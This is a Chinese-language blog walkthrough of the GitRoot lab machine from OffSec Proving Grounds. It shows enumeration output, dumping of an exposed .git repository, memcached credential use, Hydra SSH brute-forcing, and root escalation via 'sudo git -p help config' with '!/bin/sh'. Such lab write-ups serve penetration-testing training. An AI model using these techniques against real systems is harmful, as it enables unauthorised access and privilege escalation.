OSCP-PG-GITROOT: 1

Mkd1R 2022-6-11 103 6/11

#Enumeration

-nmap

# nmap -sS -Pn -open -T4 -p- 192.168.84.75
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
11211/tcp open  memcache

-nmap2

# nmap -p22,80,11211 -A 192.168.84.75     
PORT      STATE SERVICE   VERSION
22/tcp    open  ssh       OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 bf:45:f6:b3:e3:ce:0c:69:18:5a:5b:27:e5:d3:9c:86 (RSA)
|   256 b5:d7:45:50:06:c4:e2:3c:28:52:b8:06:26:1f:de:b0 (ECDSA)
|_  256 27:f0:d0:21:13:30:9c:5e:f0:70:a1:d8:5c:a7:8f:75 (ED25519)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open  memcache?
| fingerprint-strings: 
|   RPCCheck: 
|_    Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.92%I=7%D=5/28%Time=6291B158%P=x86_64-pc-linux-gnu%r(R
SF:PCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0Unk
SF:nown\x20command");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.18 (91%), Linux 4.15 - 5.6 (90%), Linux 5.0 (90%), Linux 2.6.32 (90%), Linux 3.4 (90%), Linux 3.5 (90%), Linux 3.7 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Synology DiskStation Manager 5.1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

#Web Enumeration

访问80端口,看到一句话:Hey Jen, just installed wordpress over at wp.gitroot.vuln
please go check it out! 
这里有两个点比较重要的,一个是名称Jen,之后可能用得到还有一个是他说在wp.gitroot.vuln所有我们需要修改/etc/hosts文件添加一行(192.168.84.75   wp.gitroot.vuln gitroot.vuln)
将ip指向这个地址,随后进行访问就是一个wordpress站点了,就可以进行扫描了

-Gobuster

# gobuster dir -u http://wp.gitroot.vuln/ -t 50 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,json -o gbig2.txt
===============================================================
/.htpasswd.json       (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.htaccess.html       (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/.htaccess.txt        (Status: 403) [Size: 280]
/.htpasswd.txt        (Status: 403) [Size: 280]
/.htaccess.json       (Status: 403) [Size: 280]
/index.php            (Status: 301) [Size: 1] [--> http://wp.gitroot.vuln/]
/javascript           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/javascript/]
/manual               (Status: 301) [Size: 319] [--> http://wp.gitroot.vuln/manual/]    
/readme.html          (Status: 200) [Size: 7440]                                        
/server-status        (Status: 403) [Size: 280]                                         
/wp                   (Status: 403) [Size: 280]                                         
/wp-content           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/wp-content/]
/wp-config.php        (Status: 200) [Size: 1]                                           
/wp-includes          (Status: 301) [Size: 324] [--> http://wp.gitroot.vuln/wp-includes/]
/wp-admin             (Status: 301) [Size: 321] [--> http://wp.gitroot.vuln/wp-admin/]   
/wp-login.php         (Status: 200) [Size: 3195]                                         
/wp-trackback.php     (Status: 200) [Size: 136]                                          
/xmlrpc.php           (Status: 405) [Size: 43]

-wp-scan

使用wpscan只扫描出来一个用户。并没有扫描出来其他漏洞,尝试扫描一下是否存在其他子域
# gobuster vhost -u gitroot.vuln -w /usr/share/dirb/wordlists/big.txt
扫描出一个repo子域。跟之前一样在需要修改一下/etc/hosts文件将这个子域添加进去

-Gobuster

# gobuster dir -u http://repo.gitroot.vuln/ -t 50 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,json -o gbig2.txt 
===============================================================
/get.php              (Status: 200) [Size: 144]
/index.php            (Status: 200) [Size: 438]
/javascript           (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
/manual               (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]    
/server-status        (Status: 403) [Size: 282]                                           
/set.php              (Status: 200) [Size: 151]                                           
/stats.php            (Status: 200) [Size: 2904]  

-Gobuster2

# gobuster dir -u http://repo.gitroot.vuln/ -t 50 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,json -o gbig2.txt 
===============================================================
/.git/HEAD            (Status: 200) [Size: 23] 
/get.php              (Status: 200) [Size: 144]
/index.php            (Status: 200) [Size: 438]
/javascript           (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
/index.php            (Status: 200) [Size: 438]                                           
/manual               (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]    
/server-status        (Status: 403) [Size: 282]                                           
/set.php              (Status: 200) [Size: 151]                                           
/stats.php            (Status: 200) [Size: 2904] 
这里可能存在git泄露,使用工具dump下来(https://github.com/internetwache/GitTools)
./gitdumper.sh http://repo.gitroot.vuln/.git/ dest-dir

git status查看一下工作区状态,并将其恢复
txt文件中有三个字符串,尝试使用sotre但是没有成功,随后我查看了git log知道了一个用户名和密码git log,git show ce3843e497dd28f992250d36ee1b4e8c9e0f18e9
接下来安装一个libmemcached-tools对Memcached缓存进行利用,尝试获取pablo的缓存密码,但是不知道为啥失败了
# memccat pablo_S3cret_P@ss --servers=192.168.84.75 --username="pablo@gitroot" --password="ihjedpvqfe"
随后我使用hydra对ssh服务进行了pablo用户密码爆破,这耗费了我很长时间
在家目录看到一个message.txt文件让我们一定要重新审视一下git repo,并且创建这个文件的用户是beth,所有我需要搜索一下beth用户的文件有哪些,我将使用find / -user beth -type f 2>/dev/null命令,在里面发现了很多分支文件
使用ls -la|sort -n 将文件进行排序,进行查看时发现added some stuff,使用git show 06fbefc1da56b8d552cfa299924097ba1213dd93查看一下发现了一个密码,成功切换到了beth用户
在家目录获得一个提示文件
我将按照.git格式创建一个shell压缩文件,并将zip放置指定位置
开始了新一轮的发现,在家目录的.viminfo中存有histroy,用作jen用户的ssh密码并成功登陆进去
sudo -l查看jen用户有用哪些权限,发现可以sudo执行git命令,随后我去寻找git的有关提权,并成功找了
sudo git -p help config
!/bin/sh 
- THE END -

Mkd1R

7月02日21:48

最后修改:2022年7月2日
0

非特殊说明,本博所有文章均为博主原创。